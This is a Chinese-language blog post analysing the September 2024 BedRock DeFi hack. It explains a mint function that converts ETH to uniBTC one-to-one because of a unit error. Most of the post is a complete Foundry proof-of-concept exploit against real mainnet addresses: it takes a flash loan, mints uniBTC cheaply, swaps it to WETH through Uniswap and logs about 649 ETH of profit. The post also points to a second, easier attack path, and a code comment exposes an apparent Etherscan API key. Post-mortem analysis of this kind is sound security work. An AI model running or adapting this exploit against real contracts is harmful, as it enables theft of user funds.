2024年9月26日BedRockDeFi被攻击损失1.7M我对此进行了分析和PoC编写。本次漏洞的本质是逻辑漏洞。
2024年9月26日BedRock DeFi被攻击损失1.7M 我对此进行了分析和PoC编写。本次漏洞的本质是逻辑漏洞。
攻击交易 https://app.blocksec.com/explorer/tx/eth/0x725f0d65340c859e0f64e72ca8260220c526c3e0ccde530004160809f6177940?line=18 漏洞代码 https://vscode.blockscan.com/ethereum/0x702696b2aa47fd1d4feaaf03ce273009dc47d901
本次受到攻击的漏洞特别简单。在bedrock defi的vault.sol代码中有这样一段:
mint代码是外部可调用且可以接受eth转账的函数。他执行逻辑之前只判断当前对NATIVE_BTC是暂停还是开启状态。 然后调用_mint函数,并把msg.value这个值作为参数传入:
在_mint函数中,_amount值是传入的ETH个数,在第2501行,这个值过经过转换,除以10,000,000,000 再返回给uniBTCAmount。然后合约就给用户铸造uniBTCAmount个uniBTC。 大家发现了吗,这里有非常简单但是严重的漏洞。假设黑客调用mint函数转账ETH:1e18(除去精度,等于1个ETH)给合约,合约经过计算,1e18除以1e10,等于uniBTC:1e8,等于一个uniBTC。也就是转一个eth给合约,可以得到1个uniBTC。 所以黑客利用上述漏洞,利用闪电贷借到30个ETH,然后转给受害合约,得到30个uniBTC,然后把uniBTC拿到uniswap兑换成wbtc,然后再兑换成weth。
攻击步骤非常简单。
通过模拟黑客的犯罪手法,可获利649个ETH
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./interface.sol";
//cast interface --etherscan-api-key NGI4DVW2JA83X4WZICZCB7A1N6UTV5IAGH -c mantle 0xe53a90efd263363993a3b41aa29f7dabde1a932d
contract bedrockAttack is Test {
address balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
address payable weth=payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address uniBTC=0x004E9C3EF86bc1ca1f0bB5C7662861Ee93350568;
address wbtc=0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address payable uniswapRouter=payable(0xE592427A0AEce92De3Edee1F18E0157C05861564);
address uniBTCProxy=0x047D41F2544B7F63A8e991aF2068a363d210d6Da;
function setUp() external {
vm.createSelectFork("https://eth.llamarpc.com", 20836584 - 1);
deal(address(this), 1e18);
}
function testAttack() external{
console.log("before Attacking: ETH is ",address(this).balance/10**18);
address[] memory tokens=new address[](1);
tokens[0]=weth;
uint256[] memory amounts= new uint256[](1);
amounts[0]=30800000000000000000;
IERC20(uniBTC).approve(uniswapRouter,type(uint256).max);
IERC20(wbtc).approve(uniswapRouter,type(uint256).max);
iBalancerVault(payable(balancerVault)).flashLoan(address(this),tokens,amounts,"");
uint256 wethBalance=WETH9(weth).balanceOf(address(this));
WETH9(weth).withdraw(wethBalance);
console.log("after Attacking: ETH is ",address(this).balance/10**18);
}
function receiveFlashLoan(address[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts,bytes memory userdata) external{
uint256 wethBalance=WETH9(weth).balanceOf(address(this));
WETH9(weth).withdraw(wethBalance);
bedrockInterface(uniBTCProxy).mint{value:wethBalance}();
ISwapRouter.ExactInputSingleParams memory params1 = ISwapRouter.ExactInputSingleParams(uniBTC,wbtc,500,address(this),block.timestamp,wethBalance,0,0);
SwapRouter(uniswapRouter).exactInputSingle(params1);
uint256 wbtcBalance=IERC20(wbtc).balanceOf(address(this));
ISwapRouter.ExactInputSingleParams memory params2 = ISwapRouter.ExactInputSingleParams(wbtc,weth,500,address(this),block.timestamp,wbtcBalance,0,0);
SwapRouter(uniswapRouter).exactInputSingle(params2);
IERC20(weth).transfer(balancerVault,amounts[0]);
}
fallback() external payable{
}
}
interface bedrockInterface{
function mint() external payable;
}
除了payable mint()方法,在受害合约中还有一个方法mint(address _token, uint256 _amount) 也可以直接外部调用,并且可以1:1把任意token兑换成BTC,不知道黑客发现这个方法没有,其实利用这个方法实行攻击更简单:
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!